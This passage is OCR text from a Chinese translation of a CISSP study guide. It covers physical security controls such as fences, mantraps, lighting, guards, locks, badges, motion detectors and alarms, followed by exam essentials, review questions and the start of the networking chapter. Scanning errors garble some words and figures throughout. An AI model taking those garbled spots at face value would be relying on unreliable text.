灭火抑制介质可能会引起电路短路、 加快侵蚀或导致设备无法使用。 在设计火灾响应系统时，
必 须考虑上述所有 问题。
警告 :
不要忘记: 在出现火灾时， 除了 火焰与选定灭火抑制介质导致的损失之外， 消防员使用 水龙头
喷水以及在技寻时使用 斧子寻找火 源都会给你带来损失。
1 0.3 实施和管理物理安 全
很多类型的物理访问控制机制都可以部署在能控制、 监视和方便管理设备的环境中。 其中的范
围是从障碍物到检测机制。 在某个场所内各个不同 的部门或区域都应该明确标出是公用还是私用 ，
或是有权限限制的。 每一个这样的区域都要求有唯一且集中 的物理访问控制、 监视和预防机制。 以
下章节会讨论很多可能用来分开、 隔离和控制访问到不 同区域的场所的机制， 包括 内部和外部安全。
1 0.3.1 周边(例如 ， 访问控制和监控)
建筑物或校园位置的入口 也很重要 。 单入口可极大地提供安全性， 但多个入 口在紧急情况下可
提供更好的疏散性。 附近有什么类型的道路? 什么交通工具方便(火车、 公路、 飞机、 航运) ? 一天
中 的流量级别 是什么 ?
请记住， 可访问性也受限于对周边安全的需要。 访问和使用 的需要应结合和满足边界安全的实
施和运行。 物理访问控制的使用 、 监控人员 、 设备的进入和离开， 还有审计/记录所有的物理事件，
是维护整体组织安全的 关键要素。
1 . 栅栏、 大门、 旋转门和陷阱
栅栏是外围设备。栅栏被用于在受到特殊安全保护级别的区域和其他区域之间进行明确的隔离。
用栅栏筑围墙可以包括广泛的成分、 材料和建造方法， 可能包括地上的画线、 铁丝网、 带刺铁丝网 、
水泥墙和使用激光、 运动探测仪或热源探测仪的不可见防线。 如下所示， 不 同类型的栅栏对于不同
类 型的入侵者有效:
• 3到4 英尺高的栅栏可 以 阻挡偶然的侵犯。
• 6到7 英尺高的栅栏难 以攀越 ， 可 以阻止大多数人侵者 ， 但信心坚定的入侵者除外。
• 带有 3 股带刺铁丝网的 8 英尺或更高栅栏甚至可 以 阻挡信心坚定的入侵者。
大门是栅栏上受到控制的 出入点 。 为了维持栅栏整体的有效性， 大门的阻挡程度必须与栅栏的
阻挡程度相同 。 绞链和锁 闭/闭合机制应该进行加固， 以防止损坏、 破坏或拆卸 。 当大门关闭时， 不
应该提供任何额外的 出入脆弱性。 门 的数量应当尽可能最少。 大门可由保安人员操作 ， 在没有保安
人 员 时 ， 推荐使用看 门狗或 CCTV(闭路电视)。
旋转门(参见图 1 0.4)每次只可以进一个人， 并且常常限制为单方向转动 。 要么 只 允许进门， 要
么只允许 出 门 。 旋转 门 基本上可 以等同于安全的旋转门 。
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CISSP 官方学 习指南(第 7 版)
图 1 0.4 具有陷阱和旋转门 的安全物理边界
陷阱(同样参看图 1 0均是通常由保安人员守护的双重门 设置。 陷阱的 目 的是牵制主体， 直至其
身份得到确认和5缸正。 如果经过证明他们可以被授权进入， 那么 内 部的 门 打开， 从而准许这些人员
进入设施或周围 的附属地区。 如果他们没有得到授权， 那么两扇 门都保持关闭并锁住， 直至警卫(通
常是保安人员或警察)到来将这些闯入者护送离开设施或因非法入侵逮捕他们(这也被称为迟滞特
性)。 通常 ， 陷 阱包括阻止跟随捎带和尾随的措施。
286
2. 照明
照 明是最常用的一种边界安全控制形式。 照明的主要 目 的是阻拦那些偶然的入侵者、 闯入者、
小偷和希望在黑暗中实施恶意行为的潜在窃贼。 然而， 照明不是强有力的 阻拦设施， 不应该被用作
主要的或唯一的防护机制 ， 除非使用照明的 区 域具有很低的威胁程度。
照明应当不照亮保安人员 、 看门狗、 巡逻岗哨或其他类似的安全保卫者。 应该将照明与保安人
员 、 看门狗、 闭路电视或入侵检测或监控机制的形式结合在一起使用 。 照明不能给周围 的居民、 道
路、 铁路、 机场等带来麻烦或问题。 此外 ， 在攻击者非法闯入期间， 照明也不能因为强光或反射使
保安人员 、 看 门狗和监控设备受到干扰 ， 否 则更利于攻击者。
美国国家标准和技术研究院刷1ST)制定的使用照明 的边界保护标准 中规定了关键区域应该是 2
烛光英尺远、 8 英尺高的被照亮区域。 与照明使用相关的另一个问题是光源的放置。 标准模糊地规
定灯柱的间距应当与照 明 区域的直径相等。 也就是说， 如果照亮区域的直径为 40 英尺， 那么灯柱的
问距同样应当为 40 英尺。
3. 保安和看门狗
所有的物理安全控制， 无论是静止的阻碍物还是主动的检测和监视机制， 最终都要依靠人的介
入来阻止实际的入侵和攻击。 保安可以完成这个工作 。 保安可能沿边界进行部署， 或者被部署在边
界内。 他们监视着进出 口 ， 或者监控着进行检测和监视的显示器。 保安的真正优势在于他们能够适
应任何环境或情况并做出反应 。 保安能够记住并识别攻击和入侵的行为和方式， 可 以适应正在改变
的环境， 并且能够作出判断和决定 。 在需要立即 的、 现场的事态控制和决策制定时， 保安常常是恰
当的安全控制选择。
遗憾的是， 使用保安并不是完美的解决方案 。 对保安的部署、 维护和依赖有很多缺点。 不是所
第 才 0 :1主 物理安全需求
有的环境和设施都支持部署保安。 这可能是由于实际环境中存在不适合人的因素， 或是设施的规划 、
设计、 位置和建筑的原因 。 不是所有的保安都是可信赖的。 预先筛选、 联系和培训无法保证不会出
现低效的和不可靠的保安 。
即使保安开始很可靠， 他们也容易受伤、 生病、 请假， 容易被迷惑和遭受社会工程学攻击， 甚
至可能由于滥用一些资源而无法被继续雇佣。 此外 ， 他们有时更注重 自 我保护， 而不是保护被保卫
设施的安全。 这可能意味着 ， 保安只有在生命没有受到威胁时才会对设施进行保护 。 而且， 保安
通常不知道设施 内 的操作范围， 因此并没有彻底地准备好应付所有的情况。 最后一点， 保安的费用
很高。
看门狗可以替代保安， 它们常常作为边界的安全控制措施进行部署。 作为侦测和威慑的一种形
式， 看门狗是非常有效的。 然而， 喂养狗的费用很高， 并且需要高标准的养护， 同时还会带来极高
的保险和责任要求。
1 0.3.2 内 部安全(例如 ， 陪同要求/访问者控制 、 钥匙和锁)
如果设备采用限制区域来控制物理安全， 那就需要用机制来控制访问者。 通常会有一名护卫被
指派给访 问者 ， 并且密切监视他们的进出入和活动。 未跟踪到外人进入保护区之后 的行动将会导致
大部分被保护的资产遭受恶意攻击。 使用钥匙、 密码锁、 徽章、 运动探测器、 入侵报警等也会对访
问 者控制有好处。
1 . 钥匙和密码锁
锁使得被关闭的门保持闭合。 它们被用于阻止缺乏正确授权的人。 锁是身份标识和身份认证机
制 的强硬形式。 只有具有正确的钥匙或密码， 才会被授权准许进入。 使用钥匙的锁是最常见的和最
廉价的物理访问控制设备形式， 常常被称作预置锁。 这种锁容易被撬开， 撬锁往往被归类于加垫片
的锁的攻击机制 。
⑧ 真实场景
锁的使用
钥匙或 密码锁各 自 的 用 途是什 么 ?
记忆力 不好的用 户往往会出现遗忘问 题。 Elise 经常忘记 自 己的密码组合， 而 Francis 上班时从
来就没记住过携带安全钥匙卡。 Gino 对 自 己的行政管理模式感到 悲观， 因 此宁愿在所有正当 的地方
都使用 密码锁和钥匙卡。
在哪种情况或条件下使用 密码锁， 在哪种场合选择使用钥匙或钥匙卡? 如果出现密码锁或钥匙
丢失， 哪种选项 的风险史大? 能否确 定这些羊点故障 不会为受保护的资产 带来显著的 风险?
许多组织通常在设施的不 同 区域使用 不同形式的钥匙或密码锁。 在选定的公共出入口 (如从外部
进入建筑物 、 进入房间 )使用 钥匙和钥匙卡 ， 密码锁则被用 于各 自 独用 的入 口 处(如存储柜 、 文件
柜等)。
可编程的锁或密码锁能够提供比预置锁更广泛的控制。 一些可编程的锁可以被配置使用多种有
效的访问号码， 也可能包括采用键盘、 智能卡、 密码设备的数字或电子控制 。 例如， 电子访问控制
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288
CISSP 官方学习指南(第 7 版)
但AC)锁由 下列三种元素组成: 保持门关闭的 电磁体、 验证主体和使电磁体失效的凭证读卡机 ， 以
及重新使用 电磁体的闭 门感应器。
锁可以作为边界迸出访问控制设备， 从而代替保安。 保安在得到访问授权之前对身份进行核实，
进而打开和关闭闸门 以准许访问。 此外， 锁本身也可以作为验证设备对进出进行授权或限制 。
2. 员工证
员 工证、 身份证或安全 D 都是物理身份标识和/或电子访问控制设备的形式。 员 工证既可以像
指示有效员工或来访者的名字标签一样简单; 也可 以像智能卡或标记设备一样复杂 ， 以便采用多 因
素身份认证对身份进行核实和证实， 为进入设施、 特定的房间或使用受保护的工作站提供身份认证
和授权。 员 工证常常包括照片 、 带有编码数据的磁条和个人信息， 从而帮助保安核实身份。
员 工证可能被用在物理访问主要受到保安控制的环境中。 在这样的情况中 ， 员 工证成为保安的
可见身份标识工具。 它们可以通过比较本人和照片， 并且参照印刷好的或电子的被授权人员花名册
确定人员是否可 以进入。
员 工证还可以在由扫描设备守卫而非保安守卫的环境中使用 。 在这样的环境中 ， 员 工证既可以
被用于进行身份标识， 也可以被用于身份认证。 当员工证被用于身份标识时， 首先要在设备上刷卡，
随后员 工证的持有者必须提供一个或多个身份认证要素(如密码、 密码短语， 如果使用 了 生物测定设
备， 那么还涉及生物学特性)。 当员工证被用于身仇L认证时， 员 工证的持有者要提供 D、 用户名等，
然后刷卡进行身份认证。
3. 运动探测仪
运动探测仪或运动传感器是在特殊区域内 使用的、 用于感知物体运动的设备。 运动探测仪的类
型有很多种， 包括红外线、 热能、 波形、 电容、 光 电和 无源音频。
• 红外运动探测仪 对被监控区域红外照 明模式的显著变化进行监视。
• 热能型运动探测仪 对被监控 区域内的热 能等级和模式的显著变化进行监视。
• 波形运动探测仪 向被监控的区域发射连续的弱超声波或高频微波， 并且对反射波的显著
扰动或变化进行监视。
• 电容运动探测仪 对被监控物体周 围 区域的 电场或磁场变化进行探测 。
• 光 电运动探测仪 通常在没有窗户或保持 昏暗的房 间 内 部使用 。
• 无源音频运动探测仪 对被监控区域内 的非正常声音进行侦听。
4. 入侵警报
无论何时显示环境中出现重大或有意义的变化， 运动探测仪都会发出 警报。 警报是一种分离机
制 ， 可以引发威慑、 防护和/或通知 。
威慑报警 引 发威慑警报可能会采用额外的加锁、 关门等措施。 这种警报的 目 的是使得进一步
的入侵或攻击变得更难。
排斥报警 引 发排斥警报声通常听起来像汽笛或钟声， 并且会将灯打开。 这些警报类型被用于
令入侵者或攻击者气馁， 从而 不再继续他们的恶意或入侵行为 ， 并且离开这个设施。
通知报警 引 发通知警报对于入侵者汇攻击者来说常常是缄默的， 但是它们会记录事故的相关数
据， 并且通知管理员 、 保安和执法机构。 事故的记录可以采取日 志文件和/或闭路电视磁带的形式。
缄默警报的 目 的是将授权的安全人员带到入侵或攻击的位置， 以便期望抓住进行有害活动的人。
第 10 章 物理安全需求
报警也通过它们所在的地方(本地 、 集中 、 专有或辅助)被归类。
本地报警 本地警报系统必须广播司听到的警报信号(最大可到 120 分贝)， 这个信号最远可以
传播 400 英尺。 此外， 本地警报系统必须受到保护 ， 通常应由保安进行保护， 以防止损害和损坏。
为了使警报系统有效， 附近必须有 安全团队或保安 ， 他们可 以在 警报被触发后立即 进行响应。
集中式警报系统 可能在本地没有警报， 在警报触发时会通过信号通知远程或集中式监控站。
大多数中央集中式系统都是很知名 的公司或是国家安全公司 ， 如 Brir血和ADT。 专有系统类似于中
央系统， 但托管组织有他们 自 己的 现场保安人员等待并响应安全破坏 。
辅助警报系统 辅助警报系统可以加入本地或集中式警报系统。 当安全边界被破坏时， 紧急服
务机构将被通知和对事件做出 响应 ， 并抵达相应地点 。 这些紧急服务机构可能包括消防、 警察和医
疗服务。
两种或多种类型的入侵报警系统能够集成到单个解决方案中 。
5. 二次验证机制
当运动检测器、 传感器和报警器被使用时， 二次验证机制应该在适当的位置。 随着这些设备的
灵敏度增高， 错误触发会经常发生 。 无害的事件， 如动物、 鸟类、 昆虫或授权人员 的出现， 可能触
发错误警报。 使用两个或两个以上的检测和传感器系统， 并要求警报发出 之前的短时内有两个或两
个 以上的快速成功触发。 这可以显著减少错误警报， 并提高报警显示实际入侵或攻击的可能性。
CCTV 是一种安全机制， 涉及运动探测器、 传感器和报警器。 然而， CCTV 并不是 自动化的检
测和响应系统。 CCTV 需要人员观看捕获的批频来检测可疑和恶意的活动 ， 并触发报警。 安全摄像
头可以扩大保安人员 的有效可见范围 ， 因此增大了 监控的范围。 在许多情况下， CCTV 不作为主要
的检测工具， 因 为要支付高费用给坐在那里观看视频屏幕的人。 相反， 它用来作为一个二次或后续
机制， 当 自动化系统触发后进行审查。 事实上， 审计和审计跟踪的使用逻辑同样用于 CCTV 和事件
记录。 CCTV 是预防措施， 而 审查事件记录是检测措施。
@ 真实场景
二次验证
和前面 的真实场景描述的一样， Gino 处在安全破坏不断的风险中 ， 因 为 Elise 经常会忘记(因 此
写 下海一个密码， 而 Francis 习 惯性地忘记钥匙卡的位直。 当 其他人拥有这些物品的任何一个并知
道如何或在哪里使用 它们 时 ， 将会发生什么 ?
Gino 的最大优势就是已经在工作产所建立 了 若干二次验证机制 ， 这可能包括一个 CCTV 系 统，
这个系统在某些指定地区进行监视， 并识别使用 钥匙卡访问或输入密码组合的人员 的脸。 当 追踪意
外或有意非法访问时， 即使穿过检查点入口和出 口 的 录像记录也都是有帮助的。
通过己知的 "问题用户" 或 "问题身份" 许多 安全系统可以在这些身份被制时发出通知或警
报。 人员 随访可以或不可以保证， 具体取决于可用 的系统以及未经投机的访问可能带来的风险。 但
在任何时候 Elise(或有人使用 这个身份)登录到 系 统或使用 Francis 的钥匙卡进入， 一名巡视和走动的
保安人员 可以被安排来确保一切事情向好的方面发展。 当然， 让 Elise 和 Francis 的经理劝告他们适
当 地使用 (存储)密码和钥匙卡以及让他们 了 解相 关潜在风险， 也可能是一个好主意 。
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CISSP 官方学习指南(第 7 版)
⑩ 真实场景
部署物理访问控制
在现实世界中 ， 斗转F署多 层物理访问控制来管理设施内投权和未技权的人流。 最外层的将是照
明 。 场所的整个外用应清楚地被照亮， 这将有助于 简单地识别人员 ， 并使得更容易 注意到入侵者和
威慑潜在入侵者。 在灯光的 区域内 ， 放直栅栏或墙以 防止入侵。 栅栏或墙上的特定控制点应该设直
入口或出 口 。 这些地方应该有门、 旋转门或陷阱 门 ， 并通过 CCTV(闭路电视)和保安人员 进行监控。
所有入 口 点在校权进入前， 都必须要求进行识别 和认证。
在设施内 ， 属于不同敏感或保密级别 的 区域应明显被分开和划分， 这是特别适用 于访问 者访 问
的公共领域和地区。 当倒可人从一个区域移到 另 一个区域时， 应要求额外的识别/认证过程。 最敏感
的 资源和 系 统几乎都要和最有特权的人员 隔离， 并且要位于建筑物的中央。
6. 环境和生命安全
保护环境的基本要素和保护人员生命是设施内物理访问控制和安全维护的一个重要方面。 不论
在任何情况和任何条件下， 保护人员生命是安全的最重要方面。 因此， 对 于所有安全解决方案来说，
防止人员遭受生命伤害是最重要的 目标。
对人员生命安全进行维护的部分内容是维护设施的基本环境。 在很短的时间 内 ， 人们可 以在没
有水、 食物、 空调和电力的条件下生存下来。 但在某些情况下， 这些元素的损失可能会有灾难性的
后果或可更直接导致即刻发生及危险的问题。 洪水、 火灾、 有毒物质的释放以及自 然灾害都会威胁
人员生命以及设施的稳定性。 物理安全措施应注重保障人员生命， 然后才是恢复环境的安全性和恢
复 IT 基础设施的必要功能。
人员应该永远是重中之重。 只 有在人员生命安全的情况下， 才能考虑解决业务连续性问题。 许
多组织采取人员紧急计划(0∞upant Emergency Plan， OEP)指导和协助在灾难发生时维持人员生命安
全。 OEP 提供了如何减少对生命的威胁、 防止损伤、 管理压力、 处理迁移以及提供安全监控保护财
产的指导， 并保护资产避免在物理事件中遭受损害 。 OEP 不解决 IT 问题或业务连续性问题， 而只
解决人员和一般财产 问题。 BCP 和 DRP 才解决 IT、 业务连续性和恢复问题。
7. 隐私责任和法律需求
个人信息的安全性也需要在任何组织的安全策略中得到解决。 此外， 安全策略必须符合行业和
管辖权内 的现行监管要求。
隐私意味着保护个人信息不被泄露给未经任何授权的个人或实体。 在今天的网络世界里， 公共
信息和私人信息之间的界限往往是模糊的。 例如， 关于网上冲I良的习惯信息是私人的还是公众的?
没有你的同意， 这些信息可以合法收集吗? 并且收集信 息的组织可以 出售你未分享的信息去获利
吗? 此外， 个人信息远不止网上生活习惯的信息: 还包括你是谁(姓名 、 地址、 电话、 种族、 宗教、
年龄等)， 你的健康和医疗记录， 你的财务记录， 甚至你的犯罪或法律记录。 一般这样的信息可放入
个人身份信息(Pll)标题的下面， 如 NIST 发布的 " 保护个人身份信息σ田机密性指南"。 该指南可通
过访问 以下 网址在线获得: http://csrc.nist.gov/publications/nistpubs/800-1 22/sp800-1 22. pdf。
第 10章 物理安全需求
处理隐私是任何有员工的组织的一个要求。 因此， 隐私是所有组织的一个核心问题。 对于任何
组织， 隐私保护应该在安全策略中是一个核心任务或 目 标设定。 关于个人隐私 问题的讨论， 在第 4
章 " 法律、 法规和合规性 " 中有更多 的描述。
8. 合规要求
每个组织都运营在一定的行业和管辖权内。 这两个实体(可能还有附属的实体)把法律要求、 限
制和规定强加到它们领域内 的组织实践中。 这些法律要求可以应用于软件许可 、 雇佣限制、 处理敏
感资料， 并符合安全规定。
遵守所有适用的法律规定是维护安全的一个关键部分。 法律法规要求对于行业或国家(也经常是
州和城市)都一定在基础安全建设方面被视为底线和基础 。
1 0.4 本章小结
如果没有对物理环境进行控制， 那么行政性或技术性/逻辑性的访问控制就无法提供足够的安全
性。 如果怀有恶意的人可以获得对设施或设备的物理访问权限， 那么他们就会拥有这些设施或设备。
实现和维护物理安全有很多方面的内容和要素。 其中一个核心要素是选择或设计能够容纳 IT
基础设施和支持组织运营的场所。 必须先订立计划， 这个计划概述了组织的安全需求， 并且强调了
用 于提供安全性的方法或机制 。 这样的计划通过被称为关键路径分析的过程进行开发。
实现对物理安全进行管理的安全控制可以分为三组: 行政性的、 技术性的和物理性的 。 行政性
的物理安全控制包括场地的构造和选择、 场地管理、 人员控制、 意识培训和紧急事件响应及规程。
技术性的物理安全控制包括访问控制 、 入侵检测、 警报、 CCTV(闭路电视)、 监视、 HVAC、 电源以
及火灾检查和排除。 物理性的安全控制包括围墙、 照明、 锁 、 建筑材料、 陷阱、 看门狗和警卫。
物理访问控制机制具有很多类型， 它们可以被部署在环境中来控制、 监视和管理对设施的访问 。
这些类型可以包括从阻碍机制到检测机制的很多 内容， 这些内容包括栅栏、 大门、 旋转门 、 陷阱、
照明、 保安、 看门狗、 钥匙锁、 密码锁、 员 工证 、 运动探测仪、 传感器和警报。
技术控制最常作为管理物理访问 的访问控制机制 ， 其中包括智能卡/无记忆卡和生物学测定。 除
了 访 问控制之外， 物理安全机制还包括审 计跟踪 、 访 问 日 志和入侵检测系统等形式。
配线间和服务器机房是重要的基础设施元素， 需要对它们进行保护 。 它们通常用来容纳核心网
络设备和其他敏感设备。 保护措施包括足够的锁 、 监视、 访 问控制和定期的物理检查。
介质存储安全应包含一个库检测系统， 存储在一个上锁或安全的柜子内 ， 以及消磁并重复使用
介质 。
物理访问控制和维护设施安全的一个重要方面是: 保护环境中 的基本要素和保护人员 的生命安
全。 在所有环境中和所有的条件之下， 安全性最重要的方面是保护人的安全。 避免对人员 的伤害是
所有安全解决方案中 最重要 的 目 标。 提供稳定 的 电源以及管理环境 也同样重要。
防火检测和灭火措施绝不能被忽略。 除了保护人员不受到伤害以外， 设计防火检测和灭火措施
的 目 的是将 由火、 烟 、 热和灭火材料 引 起的损失最小化 ， 特别是与 lT 基础设施相关的部分。
人应该是最优先的考虑对象。 只有在人员安全后才应考虑业务连续性。
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CISSP 官方学 习 指南(第 7 版)
1 0.5 考试要点
理解为什么缺乏物理安全就没有安全性。 缺乏对物理环境的控制， 那么行政性的或技术性的/
逻辑性的访问控制就无法提供足够的安全性。 如果'怀有恶意的人可以获得对设施或设备 的物理访问
权限， 那么他们就会进行他们想要做的任何事情， 包括从破坏到泄密乃至更改的任何事情。
能够列举行政性的物理安全控制 。 行政性的物理安全控制包括场地的构造和选择、 场地管理、
人员控制 、 意识培训和紧急事件响应及规程。
能够列举技术性的物理安全控制。 技术性的物理安全控制包括访问控制、 入侵检测、 警报、
CCTV、 监视、 HVAC、 电源 以及火灾检查和排除。
能够指出物理安全的物理控制。 物理安全的物理控制包括栅栏、 照明、 锁、 建筑材料、 陷阱、
看门狗和警卫。
理解控制的作用顺序 。 控制 的作用顺序依次是: 阻拦、 拒绝、 检测和延缓。
理解选择场地和设计建筑设施的主要内容。 确定场地方面的主要内容包括可视性、 周 围地形、
地区的可到达性以及 自 然灾害的影响。 设计建筑设施方面的主要 内容是要理解组织需要的安全等级，
在建筑设计开始之前制定计划 。
理解如何设计和配置安全工作区域。 对设施内所有地方的进入要求不应该等同对待。 包含更高
价值或重要资产的地区的进出应该受到限制。 有价值的和机密的资产应该放在设施提供的保护核心
或中心地区。 同样， 集中放置的服务器或计算机机房不需要人员协调 。
理解配线间的安全问题。 现代的配线间是整个建筑或一个楼层中连接到其他重要设备的网络电
缆所在的地方， 如配线架、 交换机、 路由器、 局域网扩展、 骨干渠道。 配线间大部分的安全集中在
防止未授权的物理访问。 如果未授权入侵者进入该区域， 他们可能会偷盗设备、 拖拉或切断电缆甚
至安放窃听设备。
理解在安全设施内如何管理来访者。 如果设备通过受限制的区域控制物理安全， 那么就需要具
备管理来访者的方法。 来访者经常会被指派一名陪同， 并且他们的访问和行动都要受到严密监视。
当外来人员被授权进入受保护的区域时， 未能对他们的行动进行跟踪可能会导致针对保护程度最高
的资产的恶意行为 。
理解为管理物理安全而进行的安全控制的三种策略， 并且能够举出它们的例子。 用 于对物理安
全进行管理的安全控制可 以分为三组: 行政性的、 技术性的和物理性的。 理解何时以及如何使用这
些类型 ， 并且能够列 出 每种类型的例子。
理解介质存储的安全需求。 介质存储设施应该被设计用于安全地保存空白介质 、 可重用介质和
安装介质 。 关注的问题包括盗窃、 数据损坏和数据的残余恢复。 对介质存储设备的保护包括带锁的
柜子或保险箱 、 使用库管理员 或保管 员 、 实施存入/取出过程 以及利用介质消磁。
理解证据存储的问题。 证据存储用来保留用于恢复、 内 部调查和电子取证调查的 日 志、 驱动图
像、 虚拟机快照和其他数据。 保护措施包括专用/隔离存储设施、 离线存储、 活动跟踪、 哈希管理、
访问限制和加密 。
理解物理访问控制的常见威胁。 无论使用哪一种形式的物理访问控制， 为了 阻止滥用 、 伪装和
尾随， 必须同时配备保安人员或其他监控系统。 物理访问控制的滥用是指打开安全门或者绕过锁或
访问控制措施。 伪装是指使用其他人的安全 D 获得进入某座设施的权限。 尾随是指跟随着某人通
过受到安全保护的门或通道， 而本身没有接受身份识别或获得授权。
第 1 0 章 物理安全需求
理解对审计跟踪和访问 日志的需要。 对于物理访问控制来说， 审计跟踪和访问 日 志也是非常有
用 的工具。 它们可能需要保安人员手工建立， 或者在有足够的 自 动化访问控制机制(例如， 智能卡和
某些接近式读卡机)的情况下 自 动生成。 还可 以考虑使用 CCTV(闭路电视)进行入 口点的监控。
CCTV(闭路电视)能够将审计跟踪和访问 日 志与可视化的事件历史记录进行比较。 这些信息对于重新
构建入侵、 破坏或攻击事件非常关键。
理解对平稳电源的需要。 电力公司供应的 电源并不总是连续的和平稳的。 大多数电子设备需要
平稳的 电力供应才能正常工作 。 由于电源的波动而导致设备损坏的事情经常发生。 许多组织机构通
过几种方法来选择管理他们 自 己的 电源。 不间断电源供应(UPS)是一种 自充电的 电池类型 ， 可 以为敏
感的设备提供连续和平稳的电力。 UPS 在主要电源出现故障或无法获得的情况下， 还能够提供持续
的 电力供应。 UPS 可 以提供数十分钟或数小时的电力 ， 这取决于它的容量和设备所需的用 电量。
理解常用的电力术语。 知道下列术语的定义: 故障、 中断、 电压不足、 降压、 脉冲、 电涌、 起
动功率、 噪声、 瞬时现象、 平稳和接地。
理解如何控制环境。 除了考虑电源问题， 维护环境还包括控制来暖、 通风和空调但VAC)的机制。
主要放置计算机的房间应该保持温度在华 氏 60到75 度之间(即摄氏 1 5 到 23 度)。 计算机房间 的湿
度应该维持在 40%和 60%之间。 湿度太高会导致侵蚀， 湿度太低会导致产 生静电。
知道什么是静电。 即使在不产生静电的地毯上， 如果环境中 的湿度太低， 那么也仍然可能产生
两万伏特 的静 电放电。 即 使很少的静电放 电也 可能毁坏 电子设备。
理解管理漏水和水灾的需求。 环境安全策略和措施中应当解决漏水和水灾问题。 管道漏水不会
每天都发生， 但当真的发生时， 经常会造或重大的损失。 水和电是不能相容的。 如果计算机系统与
水接触了(特别是在系统运行时)， 那么就会发生损坏事故。 只 要有可能， 就要让放置服务器的房间
和重要计算机设备远离任何水源或传输管道。
理解防火检测和灭火措施的重要性。 防火检测和灭火措施绝不能被忽略。 保护人员不受到伤害
应该始终是所有安全或保护系统中最重要 的 目 标。 除了保护人员不受到伤害以外， 设计防火检测和
灭火措施的 目 的是将由火、 烟 、 热和灭火材料引起的损失最小化， 特别是与 IT 基础设施相关的部分。
理解由于火灾和灭火材料可能导致的环境污染和损失。 火灾引起的破坏性要素包括烟和热， 也
包括灭火介质(如水或苏打酸)。 烟对大多数存储设备都会造成损坏。 热会损坏所有的 电子或计算机
组件。 灭火抑制介质可能会引起电路短路、 加快侵蚀或导致设备无法使用 。 在设计火灾响应系统时，
必须解决所有这些问题。
理解人员的隐私和安全。 在所有的情况下， 安全最重要的作用方面是保护人。 因此， 防止对人
的伤害是所有安全解决方案中最重要 的 目 标。
1 0.6 书 面实验室
l . 哪种设备有助于定义组织的边界， 同时也能够 阻拦偶然的 非法进入?
2. 哈龙型灭 火技术存在什么 问题?
3. 消 防 队灭火后会带来哪些潜在的 问题 ?
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CISSP 官方学习 指南(第 7 版)
1 0.7 复习题
1 . 以下哪一项是安全中最重要的方面?
A. 物理安全
B. 入侵检测
c. 逻辑安全
D. 意识培训
2. 对于新的设施， 有什么方法可 以用来制定出组织的需要?
A. 日 志文件审计
B. 关键路径分析
c. 风险分析
D. 存货清单
3. 通常什么基础设施组件位于多个楼层的相 同位置， 用 于把每个楼层网络连接在一起 以提供
便利 ?
A. 服务器机房
B. 配线间
c. 数据中 心
D. 介质柜
4 以下哪一项不是设施或场地的安全关注的设计元素 ?
A 工作 区和访客区的隔离
B. 限制对高价值或重要区域的访 问
c. 位于设施核心或中央位置的机密区域
D. 对设施 内 所有位置的相同访问
5. 为了维持最有效和安全的服务器机房 ， 以下哪一项不必是真的 ?
A. 必须和人共存
B. 必须包括非水灭火装置的使用
c. 湿度必须保持在 40%到 60%之间
D. 温度必须保持在华 氏 60 到 75 度。
6. 下列哪个典型的安全措施的执行不涉及包含可重用移动介质 的存储设施 ?
A. 雇佣库管理员或保管员
B. 使用存入/取出 过程
c. 哈希
D. 在返回 的介质上使用净化工具
7. 以下哪一项是一套双门， 往往由保安人员保护， 并且用于容纳主体， 并直到他们的身份和授
权信息被验证 ?
A. 大 门
B 旋转 门
c. 陷阱
D. 接近式传感器
8. 周 边安全设备或机制 的最常见形式是什么 ?
A 保安人员
B. 栅栏
C. CCTV(闭路电视)
D. 照 明
9. 以 下l哪一项不是使用保安人员 的缺点 ?
A. 保安人员通常不 了 解设施内 操作的范围
B 并非所有环境和设施都支持保安人员
C. 并非所有安全人员 自 身就是可靠的
D. 预先筛选、 联系和培训 并不能保证安全人员 的有效和可靠
10. 基于水的灭火系统中最常见的故障原因 是什么 ?
A. 缺水
B. 人
C. 离子检测器
D. 在 吊 顶上探测仪 的布放
1l. 物理访 问控制设备最普通和便直的是什么 ?
A. 照 明
B. 保安人员
C. 钥匙锁
D. 栅栏
第 1 0 章 物理安全需求
1 2. 什么类型的运动检测仪能感应到被监控对象周 围 电场或磁场的变化?
A. 波形检测仪
B. 光 电检测仪
C 热能检测仪
D. 电容检测仪
13. 以下哪一项不是触发物理安全报警的典型类型 ?
A. 预防
B. 威慑
c. 排斥
D. 通知
14. 无论使用何种形式的物理访问控制， 保安人员或其他监控系统都必须被部署来阻止以下问
题， 但除了哪一个?
A. 尾随
B. 间谍
C. 伪装
D. 滥用
15. 所有安全解决方案中 最重要 的 目 标是什么 ?
A. 暴露阻止
B. 维护完整性
C. 人身安全
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CISSP 官方学 习指南(第 7 版)
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D. 维持可用性
1 6. 计算机机房理想的湿度范围是什么 ?
A. 20%至 40%
B. 40%至 60%
C. 60%至 75%
D. 80%至 95%
1 7. 什么电压等级的静电会 引 起存储在硬盘中 的数据的破坏 ?
A. 4000 伏特
B. 1 7 000 伏特
C. 40 伏特
D. 1 500 伏特
1 8. B 类灭火器不会使用 下列哪个灭火材料?
A. 水
B. 二氧化碳
C. 晗龙或可接受的哈龙替代品
D. 苏打酸
1 9. 对于计算机设施， 基于水的 灭火系统最好的类型是什么 ?
A. 湿管系统
B. 干管系统
C. 预先响应系统
D. 洪水系统
20 在 发生火灾和除非灭火的情况下， 下列哪一项不是造成计算机设备损坏的罪魁祸首 ?
A. 热
B. 灭火介质
C. 烟
D. 照 明
第 11 写主
网 络安全架构与保护 网络组件
本章中覆盖的 CISSP 考试大纲包含 :
4) 通信与网络安全(设计和保护网络安全)
• A. 应用安全设计原则到网络架构中(例如， IP 和 非 IP 协议、 分段)
A. 1 0SI 和 TCP/IP 模 型
A.2 IP 网络
A.3 应用 多层协议(例如， DNP3)
A.4 汇聚协议(例如， FCoE、 MPLS、 VoIP、 iSCSI)
A.5 软件定义网络
A.6 无线网络
A.7 使用密码学维护通信安全
• B. 保护网络组件
B. 1 硬件的操作(例如 ， 调制解调器、 交换机、 路由器、 无线接入点 、 移动设备)
B.2 传输介质(例如 ， 有线、 无线、 光纤)
B.3 网 络接入控制设 备(例如 ， 防火墙、 代理)
B.4 终端安全
B.5 内 容分发网络
B.6 物理设备
计算机和网络由于通信设备、 存储设备、 处理设备、 安全设备、 输入设备、 输出设备、 操作系
统、 软件、 服务、 数据和人融合而产生。 CISSP CBK 指出， 深入地了解这些硬件和软件知识是实现
和维护安全性的基本要素。 本章将讨论在网络连接、 线缆连接、 无线连通性、 TCPIIP 及相关协议、
网络设备、 防火墙中作为指导原则的 OSI 模 型 。
CISSP 认证考试的"通信与网络安全"领域涉及与网络组件相关的主题(例如， 网络设备和协议)，
